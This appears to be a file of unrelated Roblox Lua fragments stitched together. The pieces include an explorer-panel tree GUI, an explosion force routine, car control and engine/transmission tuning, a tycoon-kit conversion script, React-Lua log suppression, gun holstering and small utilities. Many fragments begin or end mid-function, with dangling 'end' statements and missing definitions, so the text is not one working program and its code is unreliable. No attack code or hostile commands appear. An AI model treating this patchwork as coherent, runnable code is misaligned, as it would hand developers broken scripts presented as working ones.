entryTemplate = Create('ImageButton',{ Name = "Entry"; Transparency = 1; AutoButtonColor = false; Position = UDim2_new(0,0,0,0); Size = UDim2_new(1,0,0,ENTRY_SIZE); Create('Frame',{ Name = "IndentFrame"; BackgroundTransparency = 1; BackgroundColor3 = GuiColor.Selected; BorderColor3 = GuiColor.BorderSelected; Position = UDim2_new(0,0,0,0); Size = UDim2_new(1,0,1,0); Create(Icon('ImageButton',0),{ Name = "Expand"; AutoButtonColor = false; Position = UDim2_new(0,-GUI_SIZE,0.5,-GUI_SIZE/2); Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE); }); Create(ClassIcon(nil,0),{ Name = "ExplorerIcon"; Position = UDim2_new(0,2+ENTRY_PADDING,0.5,-GUI_SIZE/2); Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE); }); Create('TextLabel',{ Name = "EntryText"; BackgroundTransparency = 1; TextColor3 = GuiColor.Text; TextXAlignment = 'Left'; TextYAlignment = 'Center'; Font = FONT; FontSize = FONT_SIZE; Text = ""; Position = UDim2_new(0,2+ENTRY_SIZE+4,0,0); Size = UDim2_new(1,-2,1,0); }); }); }) function scrollBar.UpdateCallback(self) for i = 1,self.VisibleSpace do local node = TreeList[i + self.ScrollIndex] if node then local entry = listEntries[i] if not entry then entry = Create(entryTemplate:Clone(),{ Position = UDim2_new(0,2,0,ENTRY_BOUND*(i-1)+2); Size = UDim2_new(0,nodeWidth,0,ENTRY_SIZE); ZIndex = listFrame.ZIndex; }) listEntries[i] = entry local expand = entry.IndentFrame.Expand expand.MouseEnter:connect(function() local node = TreeList[i + self.ScrollIndex] if #node > 0 then if node.Object ~= HiddenEntriesMain then if node.Expanded then Icon(expand,NODE_EXPANDED_OVER) else Icon(expand,NODE_COLLAPSED_OVER) end else if node.HiddenExpanded then Icon(expand,NODE_EXPANDED_OVER) else Icon(expand,NODE_COLLAPSED_OVER) end end end end) expand.MouseLeave:connect(function() pcall(function() local node = TreeList[i + self.ScrollIndex] if node.Object == HiddenEntriesMain then if node.HiddenExpanded then Icon(expand,NODE_EXPANDED) else Icon(expand,NODE_COLLAPSED) end return end if #node > 0 then if node.Expanded then Icon(expand,NODE_EXPANDED) else Icon(expand,NODE_COLLAPSED) end end end) end) local function radd(o,refresh,parent) addObject(o,refresh,parent) local s,children = pcall(function() return o:GetChildren() end, o) if s then for i = 1,#children do radd(children[i],refresh,o) end end end expand.MouseButton1Down:connect(function() local node = TreeList[i + self.ScrollIndex] if #node > 0 then if node.Object ~= HiddenEntriesMain then node.Expanded = not node.Expanded else if not MuteHiddenItems then NodeLookup[HiddenGame] = { Object = HiddenGame; Parent = nil; Index = 0; Expanded = true; } else for i,v in pairs(game:GetChildren()) do if not childrenGame[v] then radd(v, true, HiddenGame) end end end MuteHiddenItems = not MuteHiddenItems node.HiddenExpanded = not node.HiddenExpanded end if node.Object == explorerPanel.Parent and node.Expanded then CreateCaution("Warning", "Modifying the contents of this Instance could cause erratic or unstable behavior. Proceed with caution.") end -- use raw update so the list updates instantly rawUpdateList() end end) entry.MouseButton1Down:connect(function(x,y) local node = TreeList[i + self.ScrollIndex] DestroyRightClick() if GetAwaitRemote:Invoke() then bindSetAwaiting:Fire(node.Object) return end if node.Object == HiddenEntriesMain then return end if not HoldingShift then lastSelectedNode = i + self.ScrollIndex end if HoldingShift and not filteringWorkspace() then if lastSelectedNode then if i + self.ScrollIndex - lastSelectedNode > 0 then Selection:StopUpdates() for i2 = 1, i + self.ScrollIndex - lastSelectedNode do local newNode = TreeList[lastSelectedNode + i2] if newNode then Selection:Add(newNode.Object) end end Selection:ResumeUpdates() else Selection:StopUpdates() for i2 = i + self.ScrollIndex - lastSelectedNode, 1 do local newNode = TreeList[lastSelectedNode + i2] if newNode then Selection:Add(newNode.Object) end end Selection:ResumeUpdates() end end return end if HoldingCtrl then if Selection.Selected[node.Object] then Selection:Remove(node.Object) else Selection:Add(node.Object) end return end if Option.Modifiable then local pos = Vector2_new(x,y) dragReparent(node.Object,entry:Clone(),pos,entry.AbsolutePosition-pos) elseif Option.Selectable then if Selection.Selected[node.Object] then Selection:Set({}) else Selection:Set({node.Object}) end dragSelect(i+self.ScrollIndex,true,'MouseButton1Up') end end) local curSelect entry.MouseButton2Down:connect(function() if not Option.Selectable then return end DestroyRightClick() curSelect = entry local node = TreeList[i + self.ScrollIndex] if node.Object == HiddenEntriesMain then return end if GetAwaitRemote:Invoke() then bindSetAwaiting:Fire(node.Object) return end if not Selection.Selected[node.Object] then Selection:Set({node.Object}) end end) entry.MouseButton2Up:connect(function() if not Option.Selectable then return end local node = TreeList[i + self.ScrollIndex] if node.Object == HiddenEntriesMain then return end if checkMouseInGui(curSelect) then rightClickMenu(node.Object) end end) entry.Parent = listFrame end entry.Visible = true local object = node.Object -- update expand icon if node.Object ~= HiddenEntriesMain then if #node == 0 then entry.IndentFrame.Expand.Visible = false elseif node.Expanded then Icon(entry.IndentFrame.Expand,NODE_EXPANDED) entry.IndentFrame.Expand.Visible = true else Icon(entry.IndentFrame.Expand,NODE_COLLAPSED) entry.IndentFrame.Expand.Visible = true end else if node.HiddenExpanded then Icon(entry.IndentFrame.Expand,NODE_EXPANDED) entry.IndentFrame.Expand.Visible = true else Icon(entry.IndentFrame.Expand,NODE_COLLAPSED) entry.IndentFrame.Expand.Visible = true end end -- update explorer icon if object ~= HiddenEntriesMain then entry.IndentFrame.EntryText.Position = UDim2_new(0,2+ENTRY_SIZE+4,0,0); entry.IndentFrame.ExplorerIcon.Visible = true ClassIcon(entry.IndentFrame.ExplorerIcon,ClassIndex[object.ClassName] or 0) else entry.IndentFrame.EntryText.Position = UDim2_new(0,0,0,0); entry.IndentFrame.ExplorerIcon.Visible = false end -- update indentation local w = (node.Depth)*(2+ENTRY_PADDING+GUI_SIZE) entry.IndentFrame.Position = UDim2_new(0,w,0,0) entry.IndentFrame.Size = UDim2_new(1,-w,1,0) -- update hidden entries name NameHiddenEntries() -- update name change detection if nameConnLookup[entry] then nameConnLookup[entry]:disconnect() end local text = entry.IndentFrame.EntryText text.Text = object.Name nameConnLookup[entry] = node.Object.Changed:connect(function(p) if p == 'Name' then text.Text = object.Name end end) -- update selection entry.IndentFrame.Transparency = node.Selected and 0 or 1 text.TextColor3 = GuiColor[node.Selected and 'TextSelected' or 'Text'] entry.Size = UDim2_new(0,nodeWidth,0,ENTRY_SIZE) elseif listEntries[i] then listEntries[i].Visible = false end end for i = self.VisibleSpace+1,self.TotalSpace do local entry = listEntries[i] if entry then listEntries[i] = nil entry:Destroy() end end end function scrollBarH.UpdateCallback(self) for i = 1,scrollBar.VisibleSpace do local node = TreeList[i + scrollBar.ScrollIndex] if node then local entry = listEntries[i] if entry then entry.Position = UDim2_new(0,2 - scrollBarH.ScrollIndex,0,ENTRY_BOUND*(i-1)+2) end end end end Connect(listFrame.Changed,function(p) if p == 'AbsoluteSize' then rawUpdateSize() end end) local wheelAmount = 6 explorerPanel.MouseWheelForward:connect(function() if scrollBar.VisibleSpace - 1 > wheelAmount then scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount) else scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace) end end) explorerPanel.MouseWheelBackward:connect(function() if scrollBar.VisibleSpace - 1 > wheelAmount then scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount) else scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace) end end) end
-- local Destructible = ExplosionTouchPart:FindFirstChild("RocketDestructible") -- if Destructible and Destructible.Value and RadiusFromBlast < BLAST_RADIUS then -- Destructible.Value = false -- -- RunLocalEffect:FireAllClients("FadePart",ExplosionTouchPart) -- Debris:AddItem(ExplosionTouchPart,3) -- end
local DeltaPos = ExplosionTouchPart.Position - Position local Normal = DeltaPos.magnitude == 0 and Vector3.new(0,1,0) or DeltaPos.unit local PartRadius = ExplosionTouchPart.Size.magnitude / 2 local SurfaceArea = PartRadius * PartRadius --Set the velocity of the part. local Impulse = Normal * BLAST_PRESSURE * SurfaceArea * (1 / 4560) local Fraction = 1 if IsInCharacter then Fraction = 1 - math.max(0, math.min(1,(RadiusFromBlast - 2) / BLAST_RADIUS)) end local CurrentVelocity = ExplosionTouchPart.Velocity local DeltaVelocity = Impulse / ExplosionTouchPart:GetMass() local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.Velocity = CurrentVelocity + DeltaVelocity BodyVelocity.Parent = ExplosionTouchPart local ForceNeeded = 196.2 * ExplosionTouchPart:GetMass() BodyVelocity.MaxForce = Vector3.new(ForceNeeded,ForceNeeded,ForceNeeded) * 10 * Fraction Debris:AddItem(BodyVelocity,0.2/FORCE_GRANULARITY) local RotImpulse = Impulse * 0.5 * RadiusFromBlast local CurrentRotVelocity = ExplosionTouchPart.RotVelocity local MomentOfInertia = (2 * ExplosionTouchPart:GetMass() * RadiusFromBlast * RadiusFromBlast/5) local DeltaRotVelocity = RotImpulse / MomentOfInertia local AngularVelocity = Instance.new("BodyAngularVelocity") local TorqueNeeded = 20 * MomentOfInertia AngularVelocity.MaxTorque = Vector3.new(TorqueNeeded,TorqueNeeded,TorqueNeeded) * 10 * Fraction AngularVelocity.AngularVelocity = CurrentRotVelocity + DeltaRotVelocity AngularVelocity.Parent = ExplosionTouchPart Debris:AddItem(AngularVelocity,0.2/FORCE_GRANULARITY) end end --Create the explosion. local Explosion = Instance.new("Explosion") Explosion.BlastPressure = 0 Explosion.BlastRadius = BLAST_RADIUS Explosion.Position = Position Explosion.Hit:Connect(OnExplosionHit) Explosion.Parent = game.Workspace return Explosion end return ExplosionCreator
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.P , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[local vehiclePart = vehicle.Undercarriage local newForceField = Instance.new("Part") newForceField.Name = "CarForceField" newForceField.CanCollide = false newForceField.Anchored = false newForceField.Transparency = .5 newForceField.formFactor = "Custom" newForceField.Size = vehicle:GetModelSize()*Vector3.new(.5, 1, .5) newForceField.CFrame = vehicle:GetModelCFrame() newForceField.Parent = vehicle local newWeld = Instance.new("Weld") newWeld.Part0 = newForceField newWeld.Part1 = vehiclePart newWeld.C1 = vehiclePart.CFrame:inverse() * (vehicle:GetModelCFrame() - vehicle:GetModelCFrame().p + vehiclePart.CFrame.p) newWeld.Parent = vehiclePart ]]
-- function vAbs(vect) return Vector3.new(math.abs(vect.X), math.abs(vect.Y), math.abs(vect.Z)) end function clearToRespawn(modelToRespawn) if modelToRespawn:IsA("Model") then local diag = .9*vAbs(modelToRespawn:GetModelCFrame():vectorToWorldSpace(modelToRespawn:GetModelSize()/2)) return #game.Workspace:FindPartsInRegion3(Region3.new(modelToRespawn:GetModelCFrame().p - diag, modelToRespawn:GetModelCFrame().p + diag), nil, 100) < 1 elseif modelToRespawn:IsA("BasePart") then local diag = .9*vAbs(modelToRespawn.CFrame:vectorToWorldSpace(modelToRespawn.Size/2)) return #game.Workspace:FindPartsInRegion3(Region3.new(modelToRespawn.CFrame.p - diag, modelToRespawn.CFrame.p + diag), nil, 100) < 1 else return true end end function respawnIt(toRespawn, oldParent) wait(timeToRespawn) while not (clearToRespawn(toRespawn)) do wait() end -- we want things with vehicle seats to NOT be welded to ground if not toRespawn:FindFirstChild("VehicleSeat") then game.JointsService:SetJoinAfterMoveInstance(toRespawn) end toRespawn.Parent = oldParent toRespawn:MakeJoints() if not toRespawn:FindFirstChild("VehicleSeat") then game.JointsService:CreateJoinAfterMoveJoints() end end function isSmallerThanVehicle(robloxModel) if robloxModel == vehicle then return false end -- check ourselves, before we wreck ourselves if robloxModel:IsA("BasePart") then return robloxModel.Size.magnitude + 4 < vehicleSize elseif robloxModel:IsA("Model") then return robloxModel:GetModelSize().magnitude + 4 < vehicleSize else return false end end function onTouch(hit, direction)
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR
local TycoonName = "TEST TYCOON" if game.Workspace:FindFirstChild(TycoonName) then local s = nil local bTycoon = game.Workspace:FindFirstChild(TycoonName) local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit") local new_Collector = zTycoon['READ ME'].Script:Clone() local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone() if zTycoon then for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo' if v then s = v.PurchaseHandler:Clone() v:Destroy() end end -- Now make it compatiable if s ~= nil then for i,v in pairs(bTycoon.Tycoons:GetChildren()) do local New_Tycoon = v:Clone() New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy() s:Clone().Parent = New_Tycoon local Team_C = Instance.new('BrickColorValue',New_Tycoon) Team_C.Value = BrickColor.new(tostring(v.Name)) Team_C.Name = "TeamColor" New_Tycoon.Name = v.TeamName.Value New_Tycoon.Cash.Name = "CurrencyToCollect" New_Tycoon.Parent = zTycoon.Tycoons New_Tycoon.TeamName:Destroy() v:Destroy() New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy() local n = new_Collector:Clone() n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0') n.Disabled = false New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy() local g = Gate:Clone() g.Parent = New_Tycoon.Gate['Touch to claim ownership!'] end else error("Please don't tamper with script names or this won't work!") end else error("Please don't change the name of our tycoon kit or it won't work!") end bTycoon:Destroy() Gate:Destroy() new_Collector:Destroy() print('Transfer complete! :)') else error("Check if you spelt the kit's name wrong!") end
-- ROBLOX deviation: console.log's name property is checked in SchedulerHostConfig. -- But since Lua functions don't carry properties, we export this and import it there -- for a reference equality.
exports.disabledLog = disabledLog exports.disableLogs = function() if _G.__DEV__ then if disabledDepth == 0 then prevLog = console.log prevInfo = console.info prevWarn = console.warn prevError = console.error prevGroup = console.group prevGroupCollapsed = console.groupCollapsed prevGroupEnd = console.groupEnd console.info = disabledLog console.log = disabledLog console.warn = disabledLog console.error = disabledLog console.group = disabledLog console.groupCollapsed = disabledLog console.groupEnd = disabledLog end disabledDepth = disabledDepth + 1 end end exports.reenableLogs = function() if _G.__DEV__ then disabledDepth = disabledDepth - 1 if disabledDepth == 0 then console.log = prevLog console.info = prevInfo console.warn = prevWarn console.error = prevError console.group = prevGroup console.groupCollapsed = prevGroupCollapsed console.groupEnd = prevGroupEnd end if disabledDepth < 0 then console.error( "disabledDepth fell below zero. " .. "This is a bug in React. Please file an issue." ) end end end return exports
----------------------------------------------------------------------------------------------------------------
function GunUp() Holstered = false Tool.Enabled = true torso = Tool.Parent:FindFirstChild("Torso") if torso ~= nil then torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90)) torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) end end function GunDown() Holstered = true Tool.Enabled = false -- You don't want to be shooting if your not aiming torso = Tool.Parent:FindFirstChild("Torso") if torso ~= nil then torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-10), math.rad(-90)) torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-15), 0) end end
--[[ Public API ]]
-- function ShiftLockController:IsShiftLocked() return IsShiftLockMode and IsShiftLocked end
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 _TPsi = _Tune.Boost elseif _Tune.Aspiration == "Double" then _TCount = 2 _TPsi = _Tune.Boost*2 end --Horsepower Curve local HP=_Tune.Horsepower/100 local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100 local Peak=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult local EQ=_Tune.EqPoint/1000 --Horsepower Curve function curveHP(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurveHP = curveHP(_Tune.PeakRPM) function curvePSI(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurvePSI = curvePSI(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Plot Current Boost (addition to Horsepower) function GetPsiCurve(x,gear) local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Output Cache local HPCache = {} local PSICache = {} for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local bhpPlot = {} for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do local ntqPlot = {} local btqPlot = {} ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2) btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2) hp1,tq1 = GetCurve((rpm+1)*100,gear-2) hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2) ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower) btqPlot.HpSlope = (hp2 - btqPlot.Horsepower) ntqPlot.TqSlope = (tq1 - ntqPlot.Torque) btqPlot.TqSlope = (tq2 - btqPlot.Torque) nhpPlot[rpm] = ntqPlot bhpPlot[rpm] = btqPlot end table.insert(HPCache,nhpPlot) table.insert(PSICache,bhpPlot) end --Powertrain wait() --Automatic Transmission function Auto() local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _IsOn then _ClutchOn = true if _CGear >= 1 then if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear = 1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end end end end end end local tqTCS = 1 local sthrot = 0 --Apply Power function Engine() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 local maxCount=0 for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end maxSpin=maxSpin/maxCount if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end local TPsi = _TPsi/_TCount if _Tune.Aspiration ~= "Super" then _Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((8/_Tune.TurboSize)*2))/TPsi)*15) if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end else if _GThrot>sthrot then sthrot=math.min(_GThrot,sthrot+_Tune.Sensitivity) elseif _GThrot<sthrot then sthrot=math.max(_GThrot,sthrot-_Tune.Sensitivity) end _Boost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot)) end local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) if _Tune.Aspiration ~= "Natural" then local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _HP = _NH + (_BH*(_Boost/2)) _OutTorque = _NT + (_BT*(_Boost/2)) else _HP = _NH _OutTorque = _NT end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and (v.Name=="RR" or v.Name=="RL") then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if _GBrake==0 then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local clutch=1 if not _ClutchOn then clutch=0 end local throt = _GThrot * _GThrotShift local tq = _OutTorque --Apply AWD Vectoring if _Tune.Config == "AWD" then local bias = (_Tune.TorqueVector+1)/2 if v.Name=="FL" or v.Name=="FR" then tq = tq*(2*((1-bias)^.5)/2) elseif v.Name=="RL" or v.Name=="RR" then tq = tq*(2*(bias^.5)/2) end end --Apply TCS tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir=1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end _ABSActive = (tqABS<1) --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- callback is a function that returns T/F
function BoundedQueue:Find(callback, returnNode) local curr = self.head while curr do if callback(curr.content) == false then curr = curr.next continue end return if returnNode == true then curr else curr.content end end return BoundedQueue
-- We will enforce mocking scheduler with scheduler/unstable_mock at some point. (v18?) -- Till then, we warn about the missing mock, but still fallback to a legacy mode compatible version
exports.warnAboutUnmockedScheduler = false
-- atualiza o TextLabel com a NumberValue
local function updateTextLabel() textLabel.Text = commaSeparateNumber(numValue.Value) end
--[[Member functions]]
